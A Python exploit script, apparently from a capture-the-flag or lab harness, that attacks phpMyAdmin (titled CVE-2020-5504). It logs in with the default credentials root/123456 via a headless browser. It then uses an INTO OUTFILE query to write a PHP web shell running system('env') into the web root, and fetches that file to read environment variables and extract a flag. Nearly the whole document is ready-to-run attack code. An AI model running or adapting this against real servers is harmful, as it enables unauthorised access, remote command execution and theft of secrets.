phpmyadmin SQL注入 （CVE-2020-5504）.py

import re
from playwright.sync_api import sync_playwright
from tool.base import match_flag, process_with
from tool.http_repeater import repeater


def run(target: tuple[str, int]):
    base_url = f"http://{target[0]}:{target[1]}/pma"

    with sync_playwright() as p:
        with p.chromium.launch(headless=True) as browser:
            page = browser.new_page()
            page.set_default_timeout(30000)

            # 登录
            page.goto(f"{base_url}/index.php")
            page.fill('input[name="pma_username"]', 'root')
            page.fill('input[name="pma_password"]', '123456')
            page.click('input[type="submit"]')
            page.wait_for_load_state("networkidle")

            content = page.content()
            if "<!-- Login form -->" in content:
                print("登录失败")
                return False, "", "登录失败"

            # 进入 SQL 查询页面
            page.goto(f"{base_url}/server_sql.php")
            page.wait_for_load_state("networkidle")

            page.evaluate("""() => {
                const cm = document.querySelectorAll(".CodeMirror")[1].CodeMirror;
                
                cm.setValue("SELECT \\"<?php @system('env');?>\\" into outfile '/var/www/html/pma/flag.php';");
                cm.refresh();
                document.querySelector("#button_submit_query").click();
            }""")
            page.goto(f"{base_url}/flag.php")

            page.wait_for_load_state("networkidle")

            # 访问写入的 webshell
            exp1 = f"""GET /pma/flag.php HTTP/1.1
Host: {target[0]}:{target[1]}
Connection: close

"""
            resp = repeater(exp1)
            if not resp:
                return False, "", "请求 flag.php 失败"

            flag = match_flag(resp.text())
            if flag:
                return True, flag, ""
            else:
                print("响应内容：", resp.text()[:500])
                return False, "", "flag匹配失败"


def main(ip_port: str):
    process_with(ip_port, run)


if __name__ == "__main__":
    # __import__("tool.base", fromlist=["set_debug"]).set_debug()
    main("192.168.192.148:65028")